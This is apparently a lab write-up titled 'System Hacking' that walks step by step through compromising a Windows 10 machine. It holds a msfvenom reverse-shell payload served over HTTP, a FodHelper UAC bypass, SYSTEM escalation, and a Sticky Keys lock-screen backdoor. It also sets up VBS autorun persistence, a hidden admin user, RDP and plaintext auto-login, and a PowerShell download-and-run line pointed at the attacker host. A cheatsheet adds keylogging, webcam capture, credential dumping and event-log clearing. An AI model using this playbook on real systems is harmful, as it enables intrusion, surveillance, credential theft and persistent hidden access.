

System Hacking: UAC Bypass & Sticky Keys Privilege Escalation

System Hacking

Target: Windows 10 (20.20.11.42)

Attacker: Kali Linux (20.20.11.32)

Date: June 15, 2026

User: kali

Created by [KAIF Tarasgar](#)

Table of Contents

1	Lab Overview
2	Environment & Prerequisites
3	Create Malicious Payload (msfvenom)
4	Start HTTP Server for Payload Delivery
5	Setup Metasploit Listener
6	Deliver & Execute Payload on Target
7	Bypass UAC (FodHelper)
8	Escalate to SYSTEM Privileges
9	Install Sticky Keys Backdoor
10	Setup Auto-Start Persistence
11	Enable RDP & Create Backdoor User
12	Configure Auto-Login (Hands-Free Boot)
13	Kali One-Click RDP Launcher
14	Reconnection Guide (After Reboot)
15	Meterpreter Command Cheatsheet
16	Troubleshooting & Common Issues
17	Appendix: Full Command Log

1. Lab Overview

This lab demonstrates compromising a Windows 10 target by:

1. Delivering a malicious **Meterpreter reverse_tcp** payload
2. **Bypassing Windows UAC** using the `bypassuac_fodhelper` exploit
3. **Elevating privileges** to NT AUTHORITY\SYSTEM
4. **Exploiting Sticky Keys** for persistent unauthenticated access at the lock screen
5. **Enabling RDP** with a hidden backdoor user for full GUI control
6. **Configuring auto-login** so the target re-connects automatically after reboot

Final State: One-click RDP access from Kali + auto-reconnecting Meterpreter after reboot + persistent SYSTEM access via Sticky Keys (Shift ×5 at lock screen).

2. Environment & Prerequisites

Role	IP Address	OS	User
Attacker	20.20.11.32	Kali Linux	kali
Target	20.20.11.42	Windows 10	cyber2 → changed to kaif

Tools Used

Tool	Purpose
msfvenom	Generate malicious Windows executable payload
Python3 http.server	Host payload for download over HTTP
Metasploit Framework (msfconsole)	Listener, UAC bypass, sticky keys, persistence
exploit/multi/handler	Receive reverse TCP connections
exploit/windows/local/bypassuac_fodhelper	UAC bypass via FodHelper registry key
post/windows/manage/sticky_keys	Enable sticky keys SYSTEM backdoor
exploit/windows/local/persistence	VBS script autorun persistence
reg.exe (Windows)	Enable RDP, auto-login, hidden admin
xfreerdp / rdesktop	RDP client from Kali

3. Create Malicious Payload

3.1 Generate the Windows Executable

```
kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp lhost=20.20.11.32  
lport=444 -f exe -o /tmp/Windows.exe  
  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the  
payload  
[-] No arch selected, selecting arch: x86 from the payload  
No encoder specified, outputting raw payload  
Payload size: 354 bytes  
Final size of exe file: 73802 bytes  
Saved as: /tmp/Windows.exe
```

Note: The `lhost` must match your Kali IP. Verify with `ip a`. If the target is on a different network, use the appropriate interface IP.

3.2 Copy Payload to a Served Location

```
kali@kali:~$ cp /tmp/Windows.exe /home/kali/Desktop/
```

4. Start HTTP Server for Payload Delivery

4.1 Start Python HTTP Server

```
kali@kali:~$ cd /tmp && python3 -m http.server 9999  
  
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
```

Port Conflicts: If port 80 or 8080 is in use, try a different port (e.g., 9999, 8888, 9000). Check usage with `ss -tlnp | grep -E '80|8080|9999'`.

Alternative — Apache: `sudo service apache2 start` and copy payload to `/var/www/html/`. Then browse to `http://20.20.11.32/Windows.exe`.

5. Setup Metasploit Listener

5.1 Open msfconsole

```
kali@kali:~$ sudo msfconsole -q  
  
msf >
```

5.2 Configure Multi/Handler

```
msf > use exploit/multi/handler  
[*] Using configured payload generic/shell_reverse_tcp  
  
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp  
payload => windows/meterpreter/reverse_tcp  
  
msf exploit(multi/handler) > set lhost 20.20.11.32  
lhost => 20.20.11.32  
  
msf exploit(multi/handler) > set lport 444  
lport => 444  
  
msf exploit(multi/handler) > run  
[*] Started reverse TCP handler on 20.20.11.32:444
```

Port Already in Use? Run `sudo fuser -k 444/tcp` to kill the old process, or use a different port (e.g., 445, 5555). If changing port, regenerate the payload with the new port.

Background Handler: Use `run -j` instead of `run` to keep the handler running in the background while you use msf for other tasks.

6. Deliver & Execute Payload on Target

6.1 Download from Target

On the Windows target, open a web browser and navigate to:

```
http://20.20.11.32:9999/Windows.exe
```

Download and **double-click** the file to execute it. If a SmartScreen warning appears, click "**Run anyway**".

6.2 Verify Meterpreter Session

```
[*] Sending stage (177734 bytes) to 20.20.11.42
[*] Meterpreter session 1 opened (20.20.11.32:444 -> 20.20.11.42:50026)

meterpreter > sysinfo
Computer      : DESKTOP-Q059QJK
OS           : Windows 10 (10.0 Build 19045)
Arch         : x64
System Lang  : en_US
Domain       : WORKGROUP

meterpreter > getuid
Server username: DESKTOP-Q059QJK\cyber2
```


7. Bypass UAC (FodHelper)

The current session runs as cyber2, a standard user (not SYSTEM). UAC blocks SYSTEM-level actions. We bypass it using the **FodHelper registry key exploit**.

7.1 Search for UAC Bypass Modules

```
meterpreter > background
[*] Backgrounding session 1...

msf exploit(multi/handler) > search bypassuac

Matching Modules
=====
#   Name                                          Rank      Description
-   -
0   exploit/windows/local/bypassuac_fodhelper    excellent Windows UAC
Protection Bypass (Via FodHelper)
```

7.2 Use FodHelper Exploit

```
msf exploit(multi/handler) > use exploit/windows/local/bypassuac_fodhelper
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf exploit(windows/local/bypassuac_fodhelper) > set session 1
session => 1

msf exploit(windows/local/bypassuac_fodhelper) > set lhost 20.20.11.32
lhost => 20.20.11.32

msf exploit(windows/local/bypassuac_fodhelper) > run

[*] Started reverse TCP handler on 20.20.11.32:4444
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\Sysnative\cmd.exe /c C:\Windows\System32\fodhelper.exe
[*] Sending stage (177734 bytes) to 20.20.11.42
[*] Meterpreter session 2 opened (20.20.11.32:4444 -> 20.20.11.42:50053)
[*] Cleaning up registry keys ...
```

UAC Bypass Successful! Session 2 has elevated privileges. Note the different port (4444) — you may need to allow it through the firewall.

8. Escalate to SYSTEM Privileges

8.1 Elevate via Named Pipe Impersonation

```
meterpreter > getsystem -t 1
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

SYSTEM Access! You now have the highest level of privilege on the Windows machine.

9. Install Sticky Keys Backdoor

Sticky Keys (`sethc.exe`) is normally triggered by pressing **Shift 5 times**. The Metasploit module replaces it with a SYSTEM shell — even at the **lock screen**, without logging in.

9.1 Background Current Session

```
meterpreter > background
[*] Backgrounding session 2...

msf exploit(windows/local/bypassuac_fodhelper) >
```

9.2 Use Sticky Keys Module

```
msf exploit(windows/local/bypassuac_fodhelper) > use post/windows/manage/
sticky_keys

msf post(windows/manage/sticky_keys) > set session 2
session => 2

msf post(windows/manage/sticky_keys) > run

[+] Session has administrative rights, proceeding.
[+] 'Sticky keys' successfully added. Launch the exploit at an RDP or UAC
prompt
    by pressing SHIFT 5 times.
[*] Post module execution completed
```

Sticky Keys Backdoor Installed! At the Windows login/lock screen, press **Shift 5 times** — a SYSTEM command prompt will appear with no credentials required.

9.3 Testing Sticky Keys Backdoor

1. **Lock** the Windows machine (Win + L) or log out
2. Press **Shift 5 times** rapidly
3. A `C:\Windows\system32\cmd.exe` window opens with NT AUTHORITY\SYSTEM privileges
4. Type `whoami` to confirm: `nt authority\system`

```
C:\Windows\system32>whoami
nt authority\system
```

10. Setup Auto-Start Persistence

The persistence module installs a VBS script in the **user's Startup** folder that auto-connects back to Kali every 30 seconds after login.

```
meterpreter > background
[*] Backgrounding session 2...

msf post(windows/manage/sticky_keys) > use exploit/windows/local/persistence
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf exploit(windows/local/persistence) > set session 2
session => 2

msf exploit(windows/local/persistence) > set lhost 20.20.11.32
lhost => 20.20.11.32

msf exploit(windows/local/persistence) > set lport 444
lport => 444

msf exploit(windows/local/persistence) > run

[*] Running persistent module against DESKTOP-Q059QJK via session ID: 2
[+] Persistent VBS script written to C:
\Users\cyber2\AppData\Local\Temp\LzzVlzpdS.vbs
[*] Installing as HKCU\...\Run\xSLcptcL
[+] Installed autorun on DESKTOP-Q059QJK
```

Note: This persistence triggers only when the user (cyber2) logs in. The Sticky Keys backdoor is more reliable because it works at the lock screen, regardless of which user is logged in.

11. Enable RDP & Create Backdoor User

11.1 From Meterpreter Shell

```
meterpreter > shell
Process 7824 created.
Channel 2 created.

C:\Windows\system32>net user rdpuser kaif /add
The command completed successfully.

C:\Windows\system32>net localgroup Administrators rdpuser /add
The command completed successfully.

C:\Windows\system32>net localgroup "Remote Desktop Users" rdpuser /add
The command completed successfully.

C:\Windows\system32>exit
```

11.2 Enable RDP via Registry

```
meterpreter > shell

C:\Windows\system32>reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal
Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
The operation completed successfully.

C:\Windows\system32>netsh advfirewall firewall set rule group="remote desktop"
new enable=Yes
Updated 3 rule(s).
Ok.

C:\Windows\system32>exit
```

Access Denied? You must be SYSTEM to run these commands. If you get "System error 5 (Access is denied)", first run `getsystem -t 1` from the appropriate session.

11.3 Reset Target User Password

To also access as cyber2 (original user) via RDP:

```
C:\Windows\system32>net user cyber2 kaif
The command completed successfully.
```

Now users cyber2 and rdpuser both have password kaif.

12. Configure Auto-Login (Hands-Free Boot)

These registry changes make Windows auto-login as cyber2 on every boot — no password prompt, no user interaction needed. The persistence payload then auto-connects Meterpreter.

```
C:\Windows\system32>reg add "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d cyber2 /f
The operation completed successfully.

C:\Windows\system32>reg add "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d kaif /f
The operation completed successfully.

C:\Windows\system32>reg add "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
The operation completed successfully.
```

After reboot: Windows boots straight to desktop → persistence VBS auto-runs → Meterpreter connects back to Kali. Completely hands-free.

13. Kali One-Click RDP Launcher

13.1 Shell Script

Create a file at `/home/kali/Desktop/rdp-cyber2.sh`:

```
#!/bin/bash
xfreerdp /v:20.20.11.42 /u:cyber2 /p:kaif /cert:ignore /dynamic-resolution
```

```
kali@kali:~$ chmod +x /home/kali/Desktop/rdp-cyber2.sh
```

13.2 Desktop Launcher

Create a file at `/home/kali/Desktop/rdp-cyber2.desktop`:

```
[Desktop Entry]
Name=RDP Cyber2
Comment=Connect to Windows Victim RDP
Exec=/home/kali/Desktop/rdp-cyber2.sh
Icon=computer
Terminal=false
Type=Application
Categories=Network;
```

```
kali@kali:~$ chmod +x /home/kali/Desktop/rdp-cyber2.desktop
kali@kali:~$ gio set /home/kali/Desktop/rdp-cyber2.desktop metadata::trusted
true
```

Done! Double-click the "RDP Cyber2" icon on the Kali desktop to instantly connect to the target via RDP. No passwords or commands needed.

14. Reconnection Guide (After Reboot)

14.1 If Windows Has Auto-Login Configured

What You Want	Steps on Kali
RDP Access	Double-click "RDP Cyber2" icon on desktop → instant connection
Meterpreter Session	<pre>sudo msfconsole -q use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 20.20.11.32 set lport 444 run -j</pre> → Wait ~30 seconds → session auto-connects

14.2 If Sticky Keys Is the Only Backdoor (No Auto-Login)

Step	Action
1	On Windows lock screen, press Shift 5 times
2	SYSTEM cmd.exe opens. Run: powershell -c "Invoke-WebRequest -Uri http://20.20.11.32:9999/Windows.exe -OutFile C:\Windows\Temp\Win.exe"
3	Run the payload: C:\Windows\Temp\Win.exe
4	Meterpreter session appears in Kali → type getsystem -t 1 → getuid
5	RDP: click the Kali desktop icon

15. Meterpreter Command Cheatsheet

Category	Command	Description
System Info	sysinfo	Show target OS, architecture, domain
	getuid	Show current user/SID
	getsystem -t 1	Elevate to SYSTEM (technique 1)
Screenshots	screenshot	Capture target desktop
	webcam_snap	Take webcam photo
	webcam_stream	Live webcam feed (opens on Kali)
Audio	record_mic -d 10	Record microphone for 10 seconds
	play /path/to/file.wav	Play audio on target
Keylogging	keyscan_start	Start keylogger
	keyscan_dump	Dump captured keystrokes
	keyscan_stop	Stop keylogger
Credential Theft	hashdump	Dump SAM hashes
	load kiwi → creds_all	Load Mimikatz → dump plaintext creds
Files	download C:\path\file	Download file from target
	upload /local/path C:\path	Upload file to target
Process	ps	List running processes
	kill <PID>	Kill a process
	migrate <PID>	Migrate to another process
Network	ifconfig	Show target network interfaces
	arp	Show ARP table
	route	Show routing table

Lateral Movement	run post/windows/gather/enum_shares	Enumerate network shares
	run post/windows/gather/enum_domain	Enumerate domain info
	run autoroute -s 10.10.10.0/24	Add route to internal subnet
Persistence	run post/windows/manage/sticky_keys	Install sticky keys backdoor
	run exploit/windows/local/persistence	Install VBS autorun persistence
Utility	shell	Drop to Windows command prompt
	clearev	Clear event logs (hide traces)
Session	background	Background current session
	sessions -i <ID>	Interact with session ID
RDP	run post/windows/manage/enable_rdp	Enable RDP automatically

16. Troubleshooting & Common Issues

✗ msfvenom: "Permission denied @ rb_sysopen"

✓ Run with sudo: `sudo msfvenom -p ... -o /tmp/Windows.exe`

✗ msfvenom: "zsh: no such file or directory"

✓ The directory doesn't exist (e.g., `/home/Desktop/` instead of `/home/kali/Desktop/`). Use `/home/kali/Desktop/` or `/tmp/`.

✗ Python server: "Address already in use" on port 80/8080/9999

✓ Use a different port or kill the process: `sudo fuser -k 80/tcp` or `ss -tlnp | grep 80` to find the PID, then `kill <PID>`.

✗ Handler: "The address is already in use or unavailable" (port 444)

✓ `sudo fuser -k 444/tcp` to kill the old process. Or use a different port and regenerate the payload.

✗ UAC Bypass: still shows cyber2 instead of SYSTEM

✓ After the bypass, you get a **new session** (e.g., session 5). Switch to it with `sessions -i 5`, then run `getsystem -t 1`.

✗ "Access is denied" when running net user or registry commands

✓ You are not SYSTEM. Run `getsystem -t 1` first. If the UAC bypass gave you a new session, interact with that elevated session.

✗ RDP: "CredSSP required by server" or "HYBRID_REQUIRED_BY_SERVER"

✓ Fix on the target via sticky keys SYSTEM cmd: `reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters\AllowEncryptionOracle /t REG_DWORD /d 2 /f` Or try: `xfreerdp /v:... /sec:tls`

✗ Windows doesn't download the payload / browser blocks it

✓ Use `powershell -c "Invoke-WebRequest -Uri http://20.20.11.32:9999/Windows.exe -OutFile C:\Windows\Temp\Win.exe"` from a SYSTEM cmd (sticky keys).

✗ Target IP changed after reboot (DHCP)

✓ From sticky keys cmd: `ipconfig` to get new IP. Update Kali scripts with new IP. Consider setting a static IP on the target.

✗ **Meterpreter session keeps dying**

✓ Migrate to a stable process: `migrate -N explorer.exe`. Or use `run -j` and wait for persistence to reconnect.

✗ **xfreerdp: keyboard/mouse not working**

✓ Try: `xfreerdp /v:... /u:... /p:... /cert:ignore +toggle-fullscreen /grab-keyboard` Or use `rdesktop -u cyber2 -p kaif 20.20.11.42` or `remmina` (GUI client).

17. Appendix: Full Command Log

Complete, ordered sequence of all commands executed during this lab:

Phase 1 — Payload Generation & Delivery

```
# Create payload
sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=20.20.11.32 lport=444 \
  -f exe -o /tmp/Windows.exe

# Start HTTP server
cd /tmp && python3 -m http.server 9999

# Start Metasploit handler (new terminal)
sudo msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 20.20.11.32
set lport 444
run
```

Phase 2 — UAC Bypass & SYSTEM Escalation

```
# Background session, search and use bypass
meterpreter > background
search bypassuac
use exploit/windows/local/bypassuac_fodhelper
set session 1
set lhost 20.20.11.32
run

# Elevate to SYSTEM
meterpreter > getsystem -t 1
meterpreter > getuid
NT AUTHORITY\SYSTEM
```

Phase 3 — Persistence & Backdoors

```
# Sticky Keys backdoor
background
use post/windows/manage/sticky_keys
set session 2
run
```

```
# VBS persistence
use exploit/windows/local/persistence
set session 2
set lhost 20.20.11.32
set lport 444
run
```

Phase 4 — RDP & Backdoor User

```
# From meterpreter shell
shell
net user rdpuser kaif /add
net localgroup Administrators rdpuser /add
net localgroup "Remote Desktop Users" rdpuser /add
net user cyber2 kaif
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
exit
```

Phase 5 — Auto-Login

```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v
DefaultUserName /t REG_SZ /d cyber2 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v
DefaultPassword /t REG_SZ /d kaif /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v
AutoAdminLogon /t REG_SZ /d 1 /f
```

Phase 6 — Kali RDP Launcher

```
# Create script
cat > /home/kali/Desktop/rdp-cyber2.sh << 'EOF'
#!/bin/bash
xfreerdp /v:20.20.11.42 /u:cyber2 /p:kaif /cert:ignore /dynamic-resolution
EOF
chmod +x /home/kali/Desktop/rdp-cyber2.sh

# Create desktop launcher
cat > /home/kali/Desktop/rdp-cyber2.desktop << 'EOF'
[Desktop Entry]
Name=RDP Cyber2
Comment=Connect to Windows Victim RDP
Exec=/home/kali/Desktop/rdp-cyber2.sh
Icon=computer
Terminal=false
```



```
Type=Application
Categories=Network;
EOF
chmod +x /home/kali/Desktop/rdp-cyber2.desktop
gio set /home/kali/Desktop/rdp-cyber2.desktop metadata::trusted true
```

Created by [KAIF Tarasgar](#)